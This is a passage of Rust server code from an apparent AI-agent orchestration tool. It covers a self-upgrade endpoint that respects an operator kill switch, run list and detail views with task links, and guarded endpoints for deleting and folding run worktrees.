2569    // signal, leaving the process in `replaced` forever. Try-lock rather than
2570    // wait: a phone connection must not hang behind a GitHub round trip.
2571    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2572        return Err(ApiError::conflict(
2573            "another request is already preparing an upgrade",
2574        ));
2575    };
2576    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2577        return Err(ApiError::conflict(
2578            "an upgrade is already in progress (this process started one and it \
2579             has not finished or failed yet)",
2580        ));
2581    }
2582    let recorded = updater::read_progress(&ui.home);
2583    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2584        return Err(ApiError::conflict(format!(
2585            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2586             stays stuck, restart the deck; on start it settles a stale record.",
2587            p.stage.as_str(),
2588            p.from,
2589            p.to.as_deref().unwrap_or("?"),
2590        )));
2591    }
2592
2593    // The same kill switch the background check honours (`disabled_by_env`),
2594    // checked before anything else for the same reason it is read before the
2595    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2596    // contact GitHub from this process", and a button press must not
2597    // override that any more than a broken `magi.toml` may.
2598    if crate::updater::disabled_by_env() {
2599        return Ok((
2600            StatusCode::OK,
2601            Json(UpgradeView {
2602                from: env!("CARGO_PKG_VERSION").to_owned(),
2603                to: None,
2604                parked: None,
2605                detail: format!(
2606                    "Automatic updates are disabled by {}. Nothing was parked \
2607                     and nothing restarted.",
2608                    crate::updater::NO_AUTOUPDATE_ENV
2609                ),
2610            }),
2611        ));
2612    }
2613
2614    // Asked before anything is disturbed. Restarting when there is nothing
2615    // to install is not a harmless no-op: it parks the run in flight and
2616    // drops every connection to pay for an upgrade that did not happen. A
2617    // probe against a deck already on the newest build did exactly that.
2618    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2619    let from = env!("CARGO_PKG_VERSION").to_owned();
2620    let latest = match crate::updater::Checker::new(&cfg.update) {
2621        Some(checker) => checker
2622            .newer_release()
2623            .await
2624            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2625        None => None,
2626    };
2627    let Some(latest) = latest else {
2628        return Ok((
2629            StatusCode::OK,
2630            Json(UpgradeView {
2631                from,
2632                to: None,
2633                parked: None,
2634                detail: "Already on the newest release. Nothing was parked \
2635                         and nothing restarted."
2636                    .to_owned(),
2637            }),
2638        ));
2639    };
2640
2641    // Parked before anything is replaced: a successor that came up while a
2642    // run was mid-node would find a run nobody is driving.
2643    let parked = ui.park_for_upgrade()?;
2644    let detail = match &parked {
2645        // Honest about the wait. A park takes effect at the *next* node
2646        // boundary, so a run mid-implement finishes that wave first - up to
2647        // `timeout_implement`, an hour by default. Saying "restarting now"
2648        // would make the deck look wedged for the rest of it.
2649        Some(run) => format!(
2650            "Run {} is parking at its next step, which can take as long as \
2651             the step it is on - up to an hour for an implement wave. The \
2652             deck replaces itself once it parks, comes back, and the loop \
2653             carries that run on from where it stopped. Nothing is lost if \
2654             you close this.",
2655            crate::run::short_of(run)
2656        ),
2657        None => "The deck replaces itself and comes back. Nothing was in \
2658                 flight to park."
2659            .to_owned(),
2660    };
2661
2662    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2663    // poll must see a `Downloading` stage immediately, not whenever the
2664    // spawned task happens to get scheduled.
2665    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2666    progress.parked_run = parked.clone();
2667    // A failed write is logged, not returned: the loop is already parked
2668    // above, and bailing out here would leave it parked with no upgrade
2669    // spawned to hand over or resume it.
2670    updater::write_progress_logged(&ui.home, &progress);
2671
2672    let home = ui.home.clone();
2673    let looping = ui.looping();
2674    ui.upgrade_spawned
2675        .store(true, std::sync::atomic::Ordering::SeqCst);
2676    let spawned = Arc::clone(&ui.upgrade_spawned);
2677    tokio::spawn(async move {
2678        if let Err(e) = upgrade_and_restart(home.clone()).await {
2679            tracing::error!("the upgrade did not complete: {e:#}");
2680            lock_or_recover(&looping).resume_after_handover = false;
2681            // A failure of this attempt says nothing about a handover an
2682            // earlier request already has in flight; checked and written
2683            // under the progress lock.
2684            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2685            // Released last: until the cleanup above is done, a retry must
2686            // not be able to park and record state this would then undo.
2687            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2688        }
2689    });
2690
2691    Ok((
2692        StatusCode::ACCEPTED,
2693        Json(UpgradeView {
2694            from,
2695            to: Some(latest.tag_name),
2696            parked,
2697            detail,
2698        }),
2699    ))
2700}
2701
2702/// Replace the binary, then ask [`serve`] to hand the address over.
2703///
2704/// Separated from the handler so the 202 is already on its way, and separated
2705/// from the spawn so the successor starts only after the listener is dropped.
2706async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2707    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2708    // hang the upgrade for as long as the process lives.
2709    crate::updater::run_self_update(true, false, true).await?;
2710    updater::log_step(&home, "binary replaced - recording the replaced stage");
2711    if let Some(mut progress) = updater::read_progress(&home) {
2712        progress.advance(updater::Stage::Replaced);
2713        updater::write_progress_logged(&home, &progress);
2714    }
2715    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2716    HANDOVER.notify_one();
2717    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2718    Ok(())
2719}
2720
2721/// One row in the run list.
2722///
2723/// The list route returns this rather than whole `RunState`s: the summary of a
2724/// run is a few hundred bytes and the state is megabytes, and the difference
2725/// is what makes the history usable on a mobile link.
2726#[derive(Debug, Serialize)]
2727struct RunSummary {
2728    id: String,
2729    short: String,
2730    status: String,
2731    done: bool,
2732    instruction: String,
2733    title: String,
2734    repo: String,
2735    repo_name: String,
2736    created_at: String,
2737    updated_at: String,
2738    candidates: usize,
2739    viable: usize,
2740    judges: usize,
2741    winner: Option<char>,
2742    reviews: usize,
2743    quota_losses: usize,
2744    event: Option<String>,
2745    /// The later attempt at the same task that replaced this one, if any.
2746    ///
2747    /// Two cards with one title is otherwise unreadable: this is what lets
2748    /// the deck say "superseded by 4043" on the older of the pair.
2749    superseded_by: Option<String>,
2750    /// Blocked on a question nobody has answered.
2751    ///
2752    /// Derived from the question store rather than stored on the run: an agent
2753    /// calling `magi ask` blocks mid-node, and writing a status from there
2754    /// would race the graph's own save of `run.json` and be overwritten at the
2755    /// next node boundary. Asking the store is always true and never races.
2756    waiting: bool,
2757    /// Whether the process recorded as driving this run can still be proven
2758    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2759    /// rather than presenting its last graph node as still in flight.
2760    live: crate::run::Liveness,
2761    /// The land loop's last look at the pull request, when there is one.
2762    pr: Option<crate::run::PrRecord>,
2763    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2764    /// design — never picked up by the PR-polling merge watcher, unlike an
2765    /// ordinary `Ready` that may still be a live landing candidate. See
2766    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2767    /// re-deriving the same check from `status` and `merge.mode` itself.
2768    unmerged_by_design: bool,
2769    /// Who started the run, as the one label every surface shares; the
2770    /// "origin unknown" wording when the record predates origins.
2771    origin_label: String,
2772}
2773
2774impl RunSummary {
2775    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2776        Self {
2777            id: state.id.clone(),
2778            short: state.short().to_owned(),
2779            status: status_word(state.status),
2780            done: state.status.done(),
2781            unmerged_by_design: state.unmerged_by_design(),
2782            instruction: state.instruction.clone(),
2783            title: title_from(&state.instruction, TITLE_MAX),
2784            repo: state.repo.display().to_string(),
2785            repo_name: state
2786                .repo
2787                .file_name()
2788                .map(|n| n.to_string_lossy().into_owned())
2789                .unwrap_or_default(),
2790            created_at: state.created_at.to_string(),
2791            updated_at: state.updated_at.to_string(),
2792            candidates: state.candidates.len(),
2793            viable: state.viable().len(),
2794            judges: state.config.graph.judges,
2795            winner: state.winner().map(|c| c.label),
2796            reviews: state.reviews.len(),
2797            quota_losses: state.quota.len(),
2798            event: state.events.last().map(|e| e.message.clone()),
2799            waiting,
2800            live,
2801            // Filled in by the list route, which is the only place that can
2802            // see a task's other attempts.
2803            superseded_by: None,
2804            pr: state.pr.clone(),
2805            origin_label: crate::run::origin_label(state.origin.as_ref()),
2806        }
2807    }
2808}
2809
2810/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2811/// the same string `serde` writes for the status inside a full run.
2812fn status_word(status: RunStatus) -> String {
2813    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2814    // was a third way of naming the same statuses, and one that changed
2815    // silently with a derive.
2816    status.as_str().to_owned()
2817}
2818
2819/// `?limit=`, clamped by the handler.
2820#[derive(Debug, Deserialize)]
2821struct ListQuery {
2822    #[serde(default)]
2823    limit: Option<usize>,
2824    /// Exact ids only; an empty value requests no rows (except queue blockers).
2825    ids: Option<String>,
2826}
2827
2828impl ListQuery {
2829    fn contains(&self, id: &str) -> bool {
2830        self.ids
2831            .as_ref()
2832            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2833    }
2834}
2835
2836async fn runs_list(
2837    State(ui): State<Arc<Ui>>,
2838    Query(q): Query<ListQuery>,
2839) -> ApiResult<Json<Vec<RunSummary>>> {
2840    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2841    blocking(move || {
2842        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2843        let states = run_ids(&ui.runs)
2844            .into_iter()
2845            // A run whose state cannot be read is skipped, not fatal: a run
2846            // killed mid-write must not blank the history of every other one.
2847            // The detail route still explains it, which is where an operator
2848            // asking "what happened to that run" ends up.
2849            .filter_map(|id| read_run(&ui.runs, &id).ok())
2850            .take(limit)
2851            .filter(|run| q.contains(&run.id));
2852        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2853        let summaries = summarize(
2854            states,
2855            &open_runs,
2856            &claimed,
2857            &superseded,
2858            |p| probe.borrow_mut().status(p),
2859            |p| probe.borrow_mut().started_at(p),
2860        );
2861        Ok(Json(summaries))
2862    })
2863    .await
2864}
2865
2866/// Everything the per-run rows share, read once: runs with an open question,
2867/// runs a live daemon claims, and the superseded map. Asking per run re-read
2868/// every question file and the daemon status file for each of hundreds of
2869/// runs, and spawned a process probe per run on Windows.
2870fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2871    let open_runs: HashSet<String> = ui
2872        .questions
2873        .list()
2874        .into_iter()
2875        .filter(|q| q.status.open())
2876        .map(|q| q.run)
2877        .collect();
2878    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2879        .into_iter()
2880        .map(|c| c.run)
2881        .collect();
2882    (open_runs, claimed, ui.queue.superseded())
2883}
2884
2885/// The rows of the run list, given everything that is shared between them.
2886///
2887/// Pure over its inputs so a test can count how often the process queries are
2888/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2889/// takes, called at most once per run.
2890fn summarize<I, S, D>(
2891    states: I,
2892    open_runs: &HashSet<String>,
2893    claimed: &HashSet<String>,
2894    superseded: &HashMap<String, String>,
2895    mut status_q: S,
2896    mut identity_q: D,
2897) -> Vec<RunSummary>
2898where
2899    I: IntoIterator<Item = RunState>,
2900    S: FnMut(u32) -> Option<bool>,
2901    D: FnMut(u32) -> Option<String>,
2902{
2903    states
2904        .into_iter()
2905        .map(|state| {
2906            let waiting = open_runs.contains(&state.id);
2907            let live =
2908                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2909            let mut row = RunSummary::of(&state, waiting, live);
2910            row.superseded_by = superseded
2911                .get(&state.id)
2912                .map(String::as_str)
2913                .map(crate::run::short_of)
2914                .map(str::to_owned);
2915            row
2916        })
2917        .collect()
2918}
2919
2920/// A run as the detail route hands it to the phone.
2921///
2922/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2923/// the instruction as markdown, and the raw `instruction` field this struct
2924/// still carries (unchanged) is what a client wanting the exact bytes reads
2925/// instead.
2926#[derive(Debug, Serialize)]
2927struct RunDetailView {
2928    #[serde(flatten)]
2929    state: RunState,
2930    instruction_md: Vec<md::Node>,
2931    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2932    /// mirror the records they come from, index for index; the raw strings
2933    /// stay in `state` and decide whether a block is shown at all.
2934    #[serde(flatten)]
2935    prose_md: RunProseMd,
2936    /// Whether a process is actually still driving this run: `"live"`,
2937    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2938    ///
2939    /// `state.active` (flattened in above) is only ever cleared by the
2940    /// process that populated it; a killed one leaves its last wave's
2941    /// entries behind. Carrying this alongside is what lets the phone rail
2942    /// tell "this seat is still answering" from "this seat was still
2943    /// answering when whatever was driving this run died" without a second
2944    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2945    /// proof of either. A string rather than a bool on purpose: a daemon
2946    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2947    /// and neither proven is `"unknown"` — folding that third case into
2948    /// either end of a bool is exactly the wrong call for a phone screen an
2949    /// operator uses to decide whether to wait or to act.
2950    live: crate::run::Liveness,
2951    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2952    /// alongside the flattened `state` rather than inside it, since
2953    /// `RunState` has no business knowing which of its own methods a caller
2954    /// wants serialized.
2955    unmerged_by_design: bool,
2956    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2957    /// terminal. The client's `landView` keys on it, and the flattened state
2958    /// has no such field, so without it a finished run's stale `open` PR
2959    /// would be painted as live on the detail page.
2960    done: bool,
2961    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2962    /// route fills it from [`Queue::superseded`], the detail route from
2963    /// [`Queue::superseded_by`], and both read the same underlying task
2964    /// order. Without this the detail page could only ever show a red
2965    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2966    /// with nothing anywhere saying so — an operator opening it had no way
2967    /// to tell "this is done elsewhere" from "this still needs a retry".
2968    superseded_by: Option<String>,
2969    /// The task's current attempt, when this run is an older one — resolved
2970    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2971    /// the client to derive.
2972    ///
2973    /// Three things a client cannot safely do on its own drove this onto the
2974    /// server: it has to name the chain's *current head*, not just the next
2975    /// attempt (`superseded_by` above), because an intermediate retry in a
2976    /// longer chain can itself still be unresolved; it has to resolve to a
2977    /// real id rather than a short id a client would have to guess a full id
2978    /// from, which is ambiguous the moment two runs share a suffix; and it
2979    /// has to read that head's own status directly, because whether a run
2980    /// list a client happens to have cached even contains that attempt
2981    /// depends on a page limit this route knows nothing about.
2982    latest_attempt: Option<LatestAttempt>,
2983    /// The queue task this run belongs to, so the detail page can link back
2984    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2985    task: Option<TaskRef>,
2986    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2987    /// run recorded before origins existed. `origin` itself (flattened in
2988    /// with `state`) is `null` in that case.
2989    origin_label: String,
2990}
2991
2992/// A task named from a run's detail page.
2993#[derive(Debug, Serialize)]
2994struct TaskRef {
2995    id: String,
2996    short: String,
2997    title: String,
2998    /// [`Source::label`], e.g. `chat@a1b2`.
2999    source_label: String,
3000    /// Where the task came from, when that place has a page; see [`source_link`].
3001    source_link: Option<SourceLink>,
3002    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3003    status: &'static str,
3004    attempts: usize,
3005    max_attempts: usize,
3006    /// This run is the last entry of the task's run list.
3007    is_latest: bool,
3008    /// The task's newest run, when it is not this one.
3009    latest: Option<RunBrief>,
3010    /// The run that finished a `done` task (merged, or already in the base).
3011    finished_by: Option<RunBrief>,
3012    /// The task is `done` but no run on record finished it: closed by hand.
3013    closed_by_hand: bool,
3014}
3015
3016/// The page that filed a task, as the UI links to it.
3017#[derive(Debug, PartialEq, Eq, Serialize)]
3018struct SourceLink {
3019    /// `chat` (a conversation) or `run` (a run's node).
3020    kind: &'static str,
3021    /// The full id, never the short one in the label.
3022    id: String,
3023    /// The hash route that opens it.
3024    href: String,
3025}
3026
3027/// Percent-encode everything outside the URL-unreserved set.
3028fn encode_segment(raw: &str) -> String {
3029    let mut out = String::with_capacity(raw.len());
3030    for b in raw.bytes() {
3031        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3032            out.push(b as char);
3033        } else {
3034            out.push_str(&format!("%{b:02X}"));
3035        }
3036    }
3037    out
3038}
3039
3040/// The one place that decides where a task's source links to. A chat
3041/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3042/// a person or an imported issue has no page, so no link.
3043fn source_link(source: &Source) -> Option<SourceLink> {
3044    let Source::Agent { run, node } = source else {
3045        return None;
3046    };
3047    let (kind, route) = if node == crate::queue::CHAT_NODE {
3048        ("chat", "chat")
3049    } else {
3050        ("run", "runs")
3051    };
3052    Some(SourceLink {
3053        kind,
3054        id: run.clone(),
3055        href: format!("#/{route}/{}", encode_segment(run)),
3056    })
3057}
3058
3059/// Another run of the same task, as named from a run's detail page.
3060#[derive(Debug, Serialize)]
3061struct RunBrief {
3062    id: String,
3063    short: String,
3064    /// `None` when the run's record cannot be read.
3065    status: Option<&'static str>,
3066    /// The task-page wording for how that pass ended.
3067    outcome: String,
3068}
3069
3070/// The task's overall outcome as seen from `this_run`'s page, classified with
3071/// the same exits the task page's flowchart uses.
3072fn task_outcome(
3073    task: &Task,
3074    this_run: &str,
3075    max_attempts: usize,
3076    read: impl Fn(&str) -> Option<RunState>,
3077) -> TaskRef {
3078    let history = task_history(task, read);
3079    let brief = |h: &TaskRunView| RunBrief {
3080        id: h.id.clone(),
3081        short: h.short.clone(),
3082        status: h.status,
3083        outcome: h.exit.edge_label(h.status),
3084    };
3085    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3086    let latest = if is_latest {
3087        None
3088    } else {
3089        history.last().map(brief)
3090    };
3091    let done = task.status == TaskStatus::Done;
3092    let finished_by = done
3093        .then(|| {
3094            history
3095                .iter()
3096                .rev()
3097                .find(|h| {
3098                    matches!(
3099                        h.exit,
3100                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3101                    )
3102                })
3103                .map(brief)
3104        })
3105        .flatten();
3106    TaskRef {
3107        short: task.short().to_owned(),
3108        title: task.title.clone(),
3109        id: task.id.clone(),
3110        source_label: task.source.label(),
3111        source_link: source_link(&task.source),
3112        status: task.status.as_str(),
3113        attempts: task.attempts,
3114        max_attempts,
3115        is_latest,
3116        latest,
3117        closed_by_hand: done && finished_by.is_none(),
3118        finished_by,
3119    }
3120}
3121
3122/// The task's current attempt, as seen from an older one's detail page.
3123#[derive(Debug, Serialize)]
3124struct LatestAttempt {
3125    id: String,
3126    short: String,
3127    /// Whether this attempt itself settled with a result nobody needs to
3128    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3129    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3130    /// unconfirmed claim that no change was needed, which is exactly why it
3131    /// settles the task through `Held` rather than `Done` and still waits on
3132    /// a human to check the evidence; showing an older run as "finished
3133    /// elsewhere" on the strength of an unverified claim would bury the
3134    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3135    /// in-flight status are excluded because they are exactly the
3136    /// unresolved states this field exists to tell apart from a real finish.
3137    resolved: bool,
3138    /// The attempt's own recorded status, so the page can say where it
3139    /// stands while it is not resolved yet.
3140    status: RunStatus,
3141    /// Whether that status is terminal (nothing is still running it).
3142    done: bool,
3143}
3144
3145/// Markdown for the free-text prose of a run, parallel to `RunState`.
3146#[derive(Debug, Default, Serialize)]
3147struct RunProseMd {
3148    /// `None` when the run has no design deliberation.
3149    advice_md: Option<AdviceMd>,
3150    /// One entry per candidate: the summary.
3151    candidate_summaries_md: Vec<Vec<md::Node>>,
3152    /// One entry per review round, in `reviews` order.
3153    reviews_md: Vec<RoundMd>,
3154}
3155
3156#[derive(Debug, Default, Serialize)]
3157struct AdviceMd {
3158    synthesis: Vec<md::Node>,
3159    /// One per record; empty for a seat with no proposal.
3160    approaches: Vec<Vec<md::Node>>,
3161}
3162
3163#[derive(Debug, Default, Serialize)]
3164struct RoundMd {
3165    /// One per reviewer record.
3166    reviewers: Vec<ReviewerMd>,
3167    /// One per `reconsideration` entry: the reason.
3168    reconsideration: Vec<Vec<md::Node>>,
3169    fix: Option<FixMd>,
3170}
3171
3172#[derive(Debug, Default, Serialize)]
3173struct ReviewerMd {
3174    summary: Vec<md::Node>,
3175    /// One per finding, in recorded order (not the display order).
3176    findings: Vec<Vec<md::Node>>,
3177}
3178
3179#[derive(Debug, Default, Serialize)]
3180struct FixMd {
3181    notes: Vec<md::Node>,
3182    /// One per rejection: the argument.
3183    rejected: Vec<Vec<md::Node>>,
3184}
3185
3186/// Parse a run's agent-written prose; a pure function of the state.
3187fn run_prose_md(state: &RunState) -> RunProseMd {
3188    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3189    RunProseMd {
3190        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3191            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3192            approaches: a
3193                .records
3194                .iter()
3195                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3196                .collect(),
3197        }),
3198        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3199        reviews_md: state
3200            .reviews
3201            .iter()
3202            .map(|round| RoundMd {
3203                reviewers: round
3204                    .reviews
3205                    .iter()
3206                    .map(|rec| ReviewerMd {
3207                        summary: nodes(&rec.summary),
3208                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3209                    })
3210                    .collect(),
3211                reconsideration: round
3212                    .reconsideration
3213                    .iter()
3214                    .map(|rv| nodes(&rv.reason))
3215                    .collect(),
3216                fix: round.fix.as_ref().map(|fix| FixMd {
3217                    notes: nodes(&fix.notes),
3218                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3219                }),
3220            })
3221            .collect(),
3222    }
3223}
3224
3225impl RunDetailView {
3226    fn of(
3227        state: RunState,
3228        live: crate::run::Liveness,
3229        superseded_by: Option<String>,
3230        latest_attempt: Option<LatestAttempt>,
3231        task: Option<TaskRef>,
3232    ) -> Self {
3233        Self {
3234            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3235            prose_md: run_prose_md(&state),
3236            origin_label: crate::run::origin_label(state.origin.as_ref()),
3237            live,
3238            unmerged_by_design: state.unmerged_by_design(),
3239            done: state.status.done(),
3240            superseded_by,
3241            latest_attempt,
3242            task,
3243            state,
3244        }
3245    }
3246}
3247
3248async fn run_detail(
3249    State(ui): State<Arc<Ui>>,
3250    Path(id): Path<String>,
3251) -> ApiResult<Json<RunDetailView>> {
3252    blocking(move || {
3253        let id = resolve_run(&ui.runs, &id)?;
3254        let state = read_run(&ui.runs, &id)?;
3255        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3256        let live = state.liveness(daemon_claims);
3257        let superseded_by = ui
3258            .queue
3259            .superseded_by(&id)
3260            .as_deref()
3261            .map(crate::run::short_of)
3262            .map(str::to_owned);
3263        // Best-effort: an unreadable head (mid-write, or deleted) just means
3264        // this run's own status stands on its own, same as no later attempt
3265        // existing at all.
3266        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3267            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3268                short: head.short().to_owned(),
3269                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3270                status: head.status,
3271                done: head.status.done(),
3272                id: head.id,
3273            })
3274        });
3275        let max_attempts = daemon::Opts::default().max_attempts;
3276        let task = ui
3277            .queue
3278            .list()
3279            .into_iter()
3280            .find(|t| t.runs.contains(&id))
3281            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3282        Ok(Json(RunDetailView::of(
3283            state,
3284            live,
3285            superseded_by,
3286            latest_attempt,
3287            task,
3288        )))
3289    })
3290    .await
3291}
3292
3293/// `DELETE /api/runs/{id}`.
3294///
3295/// Remove a finished, folded run directory along with its artifacts.
3296/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3297/// deleted. This never touches git worktrees or branches - except for a run
3298/// whose state this build cannot read at all, where there is no candidate
3299/// list to check and the wholesale removal `magi fold` already uses for that
3300/// case is the only meaningful "delete".
3301async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3302    let (id, unreadable) = {
3303        let ui = Arc::clone(&ui);
3304        blocking(move || {
3305            let id = resolve_run(&ui.runs, &id)?;
3306            match read_run(&ui.runs, &id) {
3307                Ok(state) => {
3308                    let in_flight =
3309                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3310                    state
3311                        .ensure_can_delete(in_flight)
3312                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3313                    let dir = ui.runs.join(&id);
3314                    std::fs::remove_dir_all(&dir)
3315                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3316                    Ok((id, false))
3317                }
3318                Err(_) => {
3319                    // Unreadable: there is no candidate list to guard on, so
3320                    // a live daemon's claim is the only thing left to check -
3321                    // the same rule `run_fold` applies for the same reason.
3322                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3323                        return Err(ApiError::conflict(format!(
3324                            "run {id} is being worked on by a live daemon right now"
3325                        )));
3326                    }
3327                    Ok((id, true))
3328                }
3329            }
3330        })
3331        .await?
3332    };
3333    if unreadable {
3334        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3335            .await
3336            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3337    }
3338    let ui = Arc::clone(&ui);
3339    let done = id.clone();
3340    blocking(move || {
3341        // The agent that asked died with the run, so an open question would
3342        // keep asking the operator for a decision nobody can deliver.
3343        ui.questions.abandon_for_run(
3344            &done,
3345            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3346        )?;
3347        Ok(())
3348    })
3349    .await?;
3350    Ok(StatusCode::NO_CONTENT)
3351}
3352
3353/// `POST /api/runs/{id}/fold`.
3354///
3355/// Remove a run's candidate worktrees and branches, keeping its record.
3356///
3357/// This exists because the deck answered "delete this run" with *"Candidates
3358/// must be folded before deleting. Run `magi fold` first."* — a phone being
3359/// told to open a terminal, in the one product whose point is that it does
3360/// not need one. The runs an operator most wants gone are the stalled and
3361/// blocked ones, and those are exactly the runs still holding worktrees:
3362/// three of them here held 53 GB.
3363///
3364/// The winner's tree goes too. A fold is what someone asks for when they are
3365/// finished with a run, and leaving one tree behind would leave the delete
3366/// button disabled for the same reason as before.
3367///
3368/// Refused while a live daemon is working on the run, on the rule that guards
3369/// deletion: folding underneath a running agent would pull the tree it is
3370/// editing out from under it.
3371///
3372/// A run whose state this build cannot read at all falls back to
3373/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3374/// selectively, so the whole record's worktree goes wholesale, exactly what
3375/// `magi fold` does on the command line for the same run.
3376async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3377    let (id, state) = {
3378        let ui = Arc::clone(&ui);
3379        blocking(move || {
3380            let id = resolve_run(&ui.runs, &id)?;
3381            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3382                return Err(ApiError::conflict(format!(
3383                    "run {id} is being worked on by a live daemon right now"
3384                )));
3385            }
3386            let state = read_run(&ui.runs, &id).ok();
3387            Ok((id, state))
3388        })
3389        .await?
3390    };
3391    let removed = match state {
3392        Some(mut state) => {
3393            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3394                .await
3395                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3396            // Nothing left to remove is not the same thing as nothing left to
3397            // do — see `clean::clear_abandoned_active`'s own doc for the run
3398            // this exists for: worktrees already gone, but a killed process
3399            // left active seats nobody will ever answer for.
3400            if removed.is_empty() {
3401                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3402                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3403            }
3404            removed
3405        }
3406        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3407            .await
3408            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3409    };
3410    Ok(Json(FoldView {
3411        run: id,
3412        removed_count: removed.len(),
3413        removed,
3414    }))
3415}
3416
3417/// What a fold took away, so the deck can say so rather than only re-render.
3418#[derive(Debug, Serialize)]
3419struct FoldView {
3420    run: String,
3421    /// Worktree paths and branch names removed, in the order they went.
3422    removed: Vec<String>,
3423    removed_count: usize,
3424}
3425
3426/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3427/// merged outside of `land::land`'s own loop.
3428#[derive(Debug, Deserialize)]
3429struct FoldMergedBody {
3430    #[serde(default)]
3431    pr_url: String,
3432}
3433
3434/// `POST /api/runs/{id}/fold-merged`.
3435///
3436/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3437/// `Blocked` with `merge: null` because magi never got as far as opening a
3438/// pull request of its own (a title over GitHub's length limit, `gh pr
3439/// create` unreachable, a stale token), which the operator then finished by
3440/// hand on a pull request magi never recorded. The "Run actions" sheet used
3441/// to have no way to tell it about that pull request short of a terminal and
3442/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3443/// this exists and what it deliberately does not do (`bump::after_merge`).
3444///
3445/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3446/// correction rewrites the same `status`/`merge` fields a running graph would
3447/// be writing to on its own.
3448///
3449/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3450/// calls plus a fold, seconds of work, and the phone should get its answer
3451/// (which pull request it recorded, and what changed) in the same round
3452/// trip rather than learning it from the change stream.
3453async fn run_fold_merged(
